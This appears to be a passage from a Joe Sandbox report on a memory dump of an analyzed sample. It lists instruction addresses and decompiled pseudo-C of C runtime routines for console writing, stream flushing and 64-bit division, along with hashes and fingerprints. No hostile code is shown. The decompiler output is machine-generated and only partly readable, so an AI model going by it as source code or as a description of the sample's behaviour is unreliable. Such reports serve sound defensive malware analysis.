0x004277cf
0x004277cf
0x00000000
0x004277b0
0x00000000
0x00000000
0x00427a26
0x00427a29
0x00427a2c
0x00427a2f
0x00427a35
0x00427a38
0x00427a3f
0x00427a43
0x00427a4e
0x00427a4e
0x00427a52
0x00427a69
0x00427a69
0x00427a70
0x00427a72
0x00427a72
0x00427a79
0x00427a79
0x00427a80
0x00427a91
0x00427aa0
0x00427aa3
0x00427aa7
0x00427abd
0x00427aa9
0x00427aa9
0x00427aac
0x00427ab2
0x00427ab8
0x00427ab8
0x00427aa7
0x00427ac7
0x00427aca
0x00427acd
0x00427ad0
0x00427ad0
0x00427ad3
0x00427ad3
0x00427ad6
0x00427adc
0x00427ae2
0x00427aea
0x00427aeb
0x00427aee
0x00427aef
0x00427af2
0x00427af3
0x00427afa
0x00427afb
0x00427afe
0x00427aff
0x00427b02
0x00427b03
0x00427b09
0x00427b0a
0x00427b18
0x00427b1a
0x00427b20
0x00427b20
0x00427b26
0x00427b28
0x00427b2c
0x00427b2e
0x00427b36
0x00427b37
0x00427b3a
0x00427b3b
0x00427b49
0x00427b4b
0x00427b4b
0x00427b2c
0x00427b4e
0x00427b55
0x00427b58
0x00427b5d
0x00427b5d
0x00427b63
0x00427b65
0x00427b6d
0x00427b6e
0x00427b71
0x00427b72
0x00427b81
0x00427b83
0x00427b83
0x00427b63
0x00427b86
0x00427b89
0x00427b8c
0x00427b8f
0x00427b94
0x00427b9a
0x00427b9d
0x00427ba0
0x00427ba0
0x00427ba3
0x00427ba3
0x00427ba6
0x00427bb2
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00000000
0x00427ec3
0x00427a54
0x00427a54
0x00427a5b
0x00427a5e
0x00000000
0x00000000
0x00427a60
0x00427a60
0x00000000
0x00427a60
0x00427a45
0x00427a45
0x00000000
0x00000000
0x004276d2
0x004276d5
0x004276d5
0x004276db
0x00427732
0x00427736
0x0042773e
0x00427745
0x0042774b
0x00427751
0x00427758
0x00427758
0x0042775e
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00427ec3
0x004276dd
0x004276dd
0x004276e7
0x004276eb
0x004276f3
0x004276fa
0x00427707
0x0042770e
0x0042771a
0x00427720
0x00427727
0x00427729
0x00427729
0x00427730
0x00000000
0x00000000
0x00427bba
0x00427bbd
0x00427bc0
0x00427bc3
0x00427c3b
0x00427c3e
0x00427c3e
0x00427c43
0x00427c65
0x00427c65
0x00427c6b
0x00427c8d
0x00427c8d
0x00427c90
0x00427cd7
0x00427cd7
0x00427cda
0x00427cf7
0x00427cfb
0x00427d03
0x00427d03
0x00427d05
0x00427d0b
0x00427cdc
0x00427cdc
0x00427ce0
0x00427ce8
0x00427ce9
0x00427cef
0x00427cef
0x00427c92
0x00427c95
0x00427c95
0x00427c98
0x00427cb6
0x00427cc2
0x00427cc5
0x00427cc6
0x00427ccc
0x00427c9a
0x00427c9a
0x00427c9e
0x00427ca6
0x00427ca7
0x00427ca8
0x00427cae
0x00427cae
0x00427cd2
0x00427c6d
0x00427c6d
0x00427c79
0x00427c7f
0x00427c7f
0x00427c45
0x00427c45
0x00427c51
0x00427c57
0x00427c57
0x00427d14
0x00427d14
0x00427d17
0x00000000
0x00000000
0x00000000
0x00427918
0x00427918
0x00427924
0x0042792a
0x0042792f
0x00427931
0x004279db
0x004279de
0x004279de
0x004279e1
0x004279f5
0x004279fb
0x00427a01
0x004279e3
0x004279e3
0x004279f0
0x004279f0
0x00427a03
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00427ec3
0x00427937
0x00427937
0x00427937
0x00427939
0x00427947
0x0042793b
0x0042793b
0x0042793b
0x00427951
0x00427957
0x0042795d
0x00427964
0x00427966
0x0042796b
0x0042796d
0x00427972
0x00427977
0x00427979
0x0042797e
0x00427981
0x00427984
0x00427986
0x00427986
0x00427984
0x00427987
0x0042798e
0x004279d6
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00427990
0x00427990
0x00427995
0x004279b1
0x004279b9
0x004279c3
0x004279c6
0x004279cb
0x004280e8
0x004280f5
0x004280f5
0x00000000
0x00427c1d
0x00427c1d
0x00427c27
0x00427c27
0x00427c2d
0x00427c2f
0x00427c32
0x00427c32
0x00427c38
0x00427c38
0x00427c3b
0x00427c3b
0x00427c3e
0x00427c3e
0x00427c43
0x00427c65
0x00427c65
0x00427c6b
0x00427c8d
0x00427c8d
0x00427c90
0x00427cd7
0x00427cd7
0x00427cda
0x00427cf7
0x00427cfb
0x00427d03
0x00427d03
0x00427d05
0x00427d0b
0x00427cdc
0x00427cdc
0x00427ce0
0x00427ce8
0x00427ce9
0x00427cef
0x00427cef
0x00427c92
0x00427c95
0x00427c95
0x00427c98
0x00427cb6
0x00427cc2
0x00427cc5
0x00427cc6
0x00427ccc
0x00427c9a
0x00427c9a
0x00427c9e
0x00427ca6
0x00427ca7
0x00427ca8
0x00427cae
0x00427cae
0x00427cd2
0x00427c6d
0x00427c6d
0x00427c79
0x00427c7f
0x00427c7f
0x00427c45
0x00427c45
0x00427c51
0x00427c57
0x00427c57
0x00427d14
0x00427d14
0x00427d17
0x00000000
0x00000000
0x00000000
0x00427d17
0x00000000
0x00427bd5
0x00427bd5
0x00000000
0x00000000
0x00427812
0x00427812
0x00427816
0x00427824
0x00427827
0x00427818
0x00427818
0x00427818
0x0042782d
0x00427833
0x00427839
0x00427845
0x0042784b
0x0042784b
0x00427851
0x004278b8
0x004278b8
0x004278bc
0x004278be
0x004278c4
0x004278c4
0x004278c7
0x004278ca
0x004278d0
0x004278d0
0x004278d0
0x004278dc
0x004278df
0x004278e5
0x004278e7
0x00000000
0x00000000
0x004278e9
0x004278e9
0x004278ef
0x004278f2
0x004278f4
0x00000000
0x00000000
0x004278f6
0x004278fc
0x004278ff
0x004278ff
0x00427907
0x00427907
0x0042790d
0x0042790d
0x00427910
0x00000000
0x00427853
0x00427853
0x00427853
0x00427857
0x00427859
0x0042785e
0x0042785e
0x00427861
0x00427868
0x0042786b
0x00427871
0x00427871
0x00427871
0x0042787d
0x00427880
0x00427886
0x00427888
0x00000000
0x00000000
0x0042788a
0x0042788a
0x00427890
0x00427893
0x00427895
0x00000000
0x00000000
0x00427897
0x0042789d
0x004278a0
0x004278a0
0x004278a8
0x004278ae
0x004278b1
0x004278b3
0x00427913
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00427ec3
0x00000000
0x00427bcc
0x00427bcc
0x00427c3b
0x00427c3b
0x00427c3e
0x00427c3e
0x00427c43
0x00427c65
0x00427c65
0x00427c6b
0x00427c8d
0x00427c8d
0x00427c90
0x00427cd7
0x00427cd7
0x00427cda
0x00427cf7
0x00427cfb
0x00427d03
0x00427d03
0x00427d05
0x00427d0b
0x00427cdc
0x00427cdc
0x00427ce0
0x00427ce8
0x00427ce9
0x00427cef
0x00427cef
0x00427c92
0x00427c95
0x00427c95
0x00427c98
0x00427cb6
0x00427cc2
0x00427cc5
0x00427cc6
0x00427ccc
0x00427c9a
0x00427c9a
0x00427c9e
0x00427ca6
0x00427ca7
0x00427ca8
0x00427cae
0x00427cae
0x00427cd2
0x00427c6d
0x00427c6d
0x00427c79
0x00427c7f
0x00427c7f
0x00427c45
0x00427c45
0x00427c51
0x00427c57
0x00427c57
0x00427d14
0x00427d14
0x00427d17
0x00000000
0x00000000
0x00000000
0x00427d17
0x00000000
0x00000000
0x00000000
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec7
0x00000000
0x00000000
0x00000000
0x00427ec7
0x00000000
0x00000000
0x00427482
0x00427485
0x00427488
0x00000000
0x00000000
0x0042748d
0x00427490
0x00427495
0x00000000
0x00000000
0x00427477
0x00427477
0x0042747a
0x0042747d
0x00000000
0x00000000
0x0042746c
0x0042746f
0x00427472
0x00000000
0x00000000
0x0042749a
0x0042749a
0x0042749d
0x0042749d
0x004274a0
0x00000000
0x00000000
0x004274a3
0x00000000
0x00000000
0x004272fd
0x004280ce
0x004280d4
0x004280dd
0x004280e2
0x00000000
0x004280e2
0x00427ec3
0x00427e9a
0x00427e9a
0x00427e9e
0x00427eab
0x00427eae
0x00427eb1
0x00427eb4
0x00427eb7
0x00427eba
0x00427ebd
0x00427ebd
0x00427ec0
0x00000000
0x00427ec0
0x00427ea0
0x00427ea0
0x00427ea3
0x00427ea6
0x00427ea9
0x00000000
0x00000000
0x00000000
0x00427ea9
0x00427e02
0x00427e02
0x00427e05
0x00427e08
0x00427e0f
0x00427e16
0x00427e1e
0x00427e24
0x00427e27
0x00427e2a
0x00427e31
0x00427e3d
0x00427e43
0x00427e49
0x00427e50
0x00427e52
0x00427e58
0x00427e58
0x00427e5e
0x00427e5e
0x00427e64
0x00427e67
0x00427e6d
0x00427e72
0x00427e75
0x00427de4
0x00427de4
0x00427dea
0x00427ded
0x00427df0
0x00427df2
0x00000000
0x00000000
0x00000000
0x00427df2
0x00427de4
0x00427d24
0x00427d24
0x00427d2b
0x00000000
0x00000000
0x00000000
0x00427d59
0x00427d59
0x00427d5f
0x00427d65
0x00427d6b
0x00000000
0x00427d6b
0x00427c3b
0x00427bf2

APIs

_get_int64_arg.LIBCMTD ref: 00427C49
__aullrem.LIBCMT ref: 00427E16
__aulldiv.LIBCMT ref: 00427E38

Strings

0, xrefs: 00427C04
', xrefs: 00427BE8
9, xrefs: 00427E49

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction ID: 3e6ca1802fa76daf11e268ee67f07ab3823931d969133fb7d70cab0ffb3b9229
Opcode Fuzzy Hash: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction Fuzzy Hash: BA4112B1E18629CFDB64CF58D889BAEB7B5BF84300F5085DAD009AB245C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043B330, Relevance: 9.1, APIs: 6, Instructions: 76
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0043B330(void* __edx, void _a4) {
				long _v8;
				int _v12;
				signed int _v16;
				void _v24;
				signed int _t12;
				void _t14;
				void* _t25;
				void* _t31;
				void* _t33;
				void* _t34;
				signed int _t35;

				_t31 = __edx;
				_t12 =  *0x440354; // 0x7223ce7a
				_v16 = _t12 ^ _t35;
				if( *0x4416b4 == 0) {
					L12:
					if( *0x4416b4 != 0) {
						L16:
						_t14 = _a4;
					} else {
						_v12 = WideCharToMultiByte(GetConsoleOutputCP(), 0,  &_a4, 1,  &_v24, 5, 0, 0);
						if( *0x441744 == 0xffffffff) {
							L15:
							_t14 = 0xffff;
						} else {
							_t31 =  *0x441744; // 0xfffffffe
							if(WriteConsoleA(_t31,  &_v24, _v12,  &_v8, 0) != 0) {
								goto L16;
							} else {
								goto L15;
							}
						}
					}
				} else {
					if( *0x441744 == 0xfffffffe) {
						E0043D160();
					}
					if( *0x441744 != 0xffffffff) {
						_t31 =  *0x441744; // 0xfffffffe
						if(WriteConsoleW(_t31,  &_a4, 1,  &_v8, 0) != 0) {
							 *0x4416b4 = 1;
							goto L12;
						} else {
							if( *0x4416b4 != 2 || GetLastError() != 0x78) {
								_t14 = 0xffff;
							} else {
								 *0x4416b4 = 0;
								goto L12;
							}
						}
					} else {
						_t14 = 0xffff;
					}
				}
				return E0042BB60(_t14, _t25, _v16 ^ _t35, _t31, _t33, _t34);
			}

0x0043b330
0x0043b338
0x0043b33f
0x0043b349
0x0043b3be
0x0043b3c5
0x0043b418
0x0043b418
0x0043b3c7
0x0043b3e6
0x0043b3f0
0x0043b411
0x0043b411
0x0043b3f2
0x0043b400
0x0043b40f
0x00000000
0x00000000
0x00000000
0x00000000
0x0043b40f
0x0043b3f0
0x0043b34b
0x0043b352
0x0043b354
0x0043b354
0x0043b360
0x0043b37a
0x0043b389
0x0043b3b4
0x00000000
0x0043b38b
0x0043b392
0x0043b3ab
0x0043b39f
0x0043b39f
0x00000000
0x0043b3b2
0x0043b392
0x0043b362
0x0043b362
0x0043b362
0x0043b360
0x0043b429

APIs

___initconout.LIBCMTD ref: 0043B354

Part of subcall function 0043D160: CreateFileA.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,?,0043B359), ref: 0043D179

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 0043B3D9
WideCharToMultiByte.KERNEL32(00000000), ref: 0043B3E0
WriteConsoleA.KERNEL32(FFFFFFFE,00000000,?,?,00000000), ref: 0043B407

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: 531c05ce2fc9eb36074d429764f17e375db4a339401e4897159e9cefc42b094c
Instruction ID: d01282b2e9c59776b96709fb261a7387836c70316f4aacea52f17bcef8789a75
Opcode Fuzzy Hash: 531c05ce2fc9eb36074d429764f17e375db4a339401e4897159e9cefc42b094c
Instruction Fuzzy Hash: FA21E534900224EBDB20DF64DD46BEA3774EB19314F10423AFB12962F1D7788984DB9E

Uniqueness

Uniqueness Score: -1.00%

Function 0043D253, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0043D253() {
				signed int _t104;
				void* _t119;
				void* _t122;
				void* _t130;
				signed int _t179;
				void* _t193;
				void* _t194;
				void* _t195;
				void* _t197;

				if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000002;
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xffffffef;
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					 *(_t195 - 4) = 0;
					_t136 =  *(_t195 - 4);
					 *(_t195 - 0xc) =  *(_t195 - 4);
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000108) == 0) {
							 *(_t195 - 4) = 2;
							 *((short*)(_t195 - 0x14)) =  *(_t195 + 8) & 0x0000ffff;
							 *(_t195 - 0xc) = E00432EA0( *(_t195 - 0x10),  *(_t195 - 0x10), _t195 - 0x14,  *(_t195 - 4));
							L25:
							if( *(_t195 - 0xc) ==  *(_t195 - 4)) {
								_t104 =  *(_t195 + 8) & 0x0000ffff;
							} else {
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
							}
							goto L28;
						}
						if( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t119 = L0041E220();
							_t197 = _t197 + 0x14;
							if(_t119 == 1) {
								asm("int3");
							}
						}
						 *(_t195 - 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
						 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) + 2;
						 *( *((intOrPtr*)(_t195 - 8)) + 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 0x18)) - 2;
						if( *(_t195 - 4) <= 0) {
							if( *(_t195 - 0x10) == 0xffffffff ||  *(_t195 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t195 - 0x18)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t195 - 0x18)) = (( *(_t195 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x55b840 + ( *(_t195 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t195 - 0x18)) + 4; // 0xa80
							_t152 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t179 =  *(_t195 - 0x10);
								 *(_t195 - 0x20) = E00432B60(_t152, _t179, _t179, 0, 0, 2);
								 *(_t195 - 0x1c) = _t179;
								if(( *(_t195 - 0x20) &  *(_t195 - 0x1c)) != 0xffffffff) {
									goto L23;
								}
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
								goto L28;
							}
						} else {
							 *(_t195 - 0xc) = E00432EA0( *((intOrPtr*)(_t195 - 8)),  *(_t195 - 0x10),  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)),  *(_t195 - 4));
							L23:
							 *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)))) =  *(_t195 + 8) & 0x0000ffff;
							goto L25;
						}
					}
					if( *((intOrPtr*)(_t195 - 8)) == E00426490() + 0x20 ||  *((intOrPtr*)(_t195 - 8)) == E00426490() + 0x40) {
						_t136 =  *(_t195 - 0x10);
						_t122 = E00433CD0(_t130,  *(_t195 - 0x10), _t193, _t194,  *(_t195 - 0x10));
						_t197 = _t197 + 4;
						if(_t122 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433C10(_t136,  *((intOrPtr*)(_t195 - 8)));
						_t197 = _t197 + 4;
						goto L10;
					}
				} else {
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000010) == 0) {
						 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
						_t104 = 0xffff;
						L28:
						return _t104;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x0043d28d
0x0043d2d9
0x0043d2e5
0x0043d2f4
0x0043d2fa
0x0043d301
0x0043d308
0x0043d30b
0x0043d319
0x0043d351
0x0043d35d
0x0043d465
0x0043d475
0x0043d48d
0x0043d490
0x0043d496
0x0043d4b1
0x0043d498
0x0043d4a4
0x0043d4a7
0x0043d4a7
0x00000000
0x0043d496
0x0043d36e
0x0043d370
0x0043d375
0x0043d377
0x0043d37c
0x0043d381
0x0043d383
0x0043d388
0x0043d38e
0x0043d390
0x0043d390
0x0043d38e
0x0043d39c
0x0043d3ab
0x0043d3b9
0x0043d3c0
0x0043d3e2
0x0043d405
0x0043d3ea
0x0043d400
0x0043d400
0x0043d40f
0x0043d413
0x0043d416
0x00000000
0x0043d418
0x0043d41e
0x0043d42a
0x0043d42d
0x0043d439
0x00000000
0x00000000
0x0043d447
0x0043d44a
0x00000000
0x0043d44a
0x0043d3c2
0x0043d3d9
0x0043d451
0x0043d460
0x00000000
0x0043d460
0x0043d3c0
0x0043d326
0x0043d335
0x0043d339
0x0043d33e
0x0043d343
0x00000000
0x00000000
0x00000000
0x0043d345
0x0043d345
0x0043d349
0x0043d34e
0x00000000
0x0043d34e
0x0043d28f
0x0043d292
0x0043d2a2
0x0043d2cc
0x0043d2cf
0x0043d4b6
0x0043d4b9
0x0043d4b9
0x0043d2ad
0x0043d2bb
0x00000000
0x0043d2bb

APIs

__isatty.LIBCMTD ref: 0043D339
__getbuf.LIBCMTD ref: 0043D349
__write.LIBCMTD ref: 0043D3D1

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 0043D37C
("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 0043D370

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 64080dcf8a9839b88a5f72092980c2ecbb4a5b58109d2a22cc529bd38bf0d299
Instruction ID: 4e41f79dcde681d5bd221717f49865163b58d8680c48dcdde9a840762a8eac70
Opcode Fuzzy Hash: 64080dcf8a9839b88a5f72092980c2ecbb4a5b58109d2a22cc529bd38bf0d299
Instruction Fuzzy Hash: F6510874E00208EFDB14CF95D495AAEBBB2FF88324F148299E8456B385D634EE81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 004267D1, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E004267D1() {
				signed int _t102;
				signed int _t104;
				signed int _t114;
				void* _t118;
				void* _t121;
				signed int _t126;
				void* _t129;
				signed int _t174;
				void* _t188;
				void* _t189;
				void* _t190;
				void* _t192;

				if(( *( *(_t190 - 8) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000002;
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xffffffef;
					 *( *(_t190 - 8) + 4) = 0;
					 *(_t190 - 4) = 0;
					_t135 =  *(_t190 - 4);
					 *(_t190 - 0xc) =  *(_t190 - 4);
					if(( *( *(_t190 - 8) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *(_t190 - 8) + 0xc) & 0x00000108) == 0) {
							 *(_t190 - 4) = 1;
							 *(_t190 - 0xc) = E00432EA0( *(_t190 - 4),  *(_t190 - 0x10), _t190 + 8,  *(_t190 - 4));
							L25:
							if( *(_t190 - 0xc) ==  *(_t190 - 4)) {
								_t102 =  *(_t190 + 8) & 0x000000ff;
							} else {
								_t104 =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								 *( *(_t190 - 8) + 0xc) = _t104;
								_t102 = _t104 | 0xffffffff;
							}
							goto L28;
						}
						if( *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t118 = L0041E220();
							_t192 = _t192 + 0x14;
							if(_t118 == 1) {
								asm("int3");
							}
						}
						 *(_t190 - 4) =  *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8));
						 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8)) + 1;
						 *( *(_t190 - 8) + 4) =  *((intOrPtr*)( *(_t190 - 8) + 0x18)) - 1;
						if( *(_t190 - 4) <= 0) {
							if( *(_t190 - 0x10) == 0xffffffff ||  *(_t190 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t190 - 0x14)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t190 - 0x14)) = (( *(_t190 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x55b840 + ( *(_t190 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t190 - 0x14)) + 4; // 0xa80
							_t149 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t174 =  *(_t190 - 0x10);
								 *(_t190 - 0x1c) = E00432B60(_t149, _t174, _t174, 0, 0, 2);
								 *(_t190 - 0x18) = _t174;
								if(( *(_t190 - 0x1c) &  *(_t190 - 0x18)) != 0xffffffff) {
									goto L23;
								}
								_t114 =  *(_t190 - 8);
								 *(_t114 + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								_t102 = _t114 | 0xffffffff;
								goto L28;
							}
						} else {
							 *(_t190 - 0xc) = E00432EA0( *(_t190 - 8),  *(_t190 - 0x10),  *((intOrPtr*)( *(_t190 - 8) + 8)),  *(_t190 - 4));
							L23:
							 *((char*)( *((intOrPtr*)( *(_t190 - 8) + 8)))) =  *(_t190 + 8);
							goto L25;
						}
					}
					if( *(_t190 - 8) == E00426490() + 0x20 ||  *(_t190 - 8) == E00426490() + 0x40) {
						_t135 =  *(_t190 - 0x10);
						_t121 = E00433CD0(_t129,  *(_t190 - 0x10), _t188, _t189,  *(_t190 - 0x10));
						_t192 = _t192 + 4;
						if(_t121 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433C10(_t135,  *(_t190 - 8));
						_t192 = _t192 + 4;
						goto L10;
					}
				} else {
					 *( *(_t190 - 8) + 4) = 0;
					if(( *( *(_t190 - 8) + 0xc) & 0x00000010) == 0) {
						_t126 =  *(_t190 - 8);
						 *( *(_t190 - 8) + 0xc) =  *(_t126 + 0xc) | 0x00000020;
						_t102 = _t126 | 0xffffffff;
						L28:
						return _t102;
					}
					 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8));
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x00426809
0x00426853
0x0042685f
0x0042686e
0x00426874
0x0042687b
0x00426882
0x00426885
0x00426893
0x004268cb
0x004268d7
0x004269d6
0x004269f1
0x004269f4
0x004269fa
0x00426a13
0x004269fc
0x00426a02
0x00426a08
0x00426a0b
0x00426a0b
0x00000000
0x004269fa
0x004268e8
0x004268ea
0x004268ef
0x004268f1
0x004268f6
0x004268fb
0x004268fd
0x00426902
0x00426908
0x0042690a
0x0042690a
0x00426908
0x00426916
0x00426925
0x00426933
0x0042693a
0x0042695c
0x0042697f
0x00426964
0x0042697a
0x0042697a
0x00426989
0x0042698d
0x00426990
0x00000000
0x00426992
0x00426998
0x004269a4
0x004269a7
0x004269b3
0x00000000
0x00000000
0x004269be
0x004269c1
0x004269c4
0x00000000
0x004269c4
0x0042693c
0x00426953
0x004269c9
0x004269d2
0x00000000
0x004269d2
0x0042693a
0x004268a0
0x004268af
0x004268b3
0x004268b8
0x004268bd
0x00000000
0x00000000
0x00000000
0x004268bf
0x004268bf
0x004268c3
0x004268c8
0x00000000
0x004268c8
0x0042680b
0x0042680e
0x0042681e
0x0042683c
0x00426848
0x0042684b
0x00426a18
0x00426a1b
0x00426a1b
0x00426829
0x00426837
0x00000000
0x00426837

APIs

__isatty.LIBCMTD ref: 004268B3
__getbuf.LIBCMTD ref: 004268C3
__write.LIBCMTD ref: 0042694B

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 004268F6
("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 004268EA

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: e099a88fcb4db35d6a5e9089101c9f3d5217fd82cdc495e31c6b4d650f41cb7c
Instruction ID: ec51ad1f41592f882b3eee54269e8ee922ea671f41cb3f945ba4a3dad614e4f2
Opcode Fuzzy Hash: e099a88fcb4db35d6a5e9089101c9f3d5217fd82cdc495e31c6b4d650f41cb7c
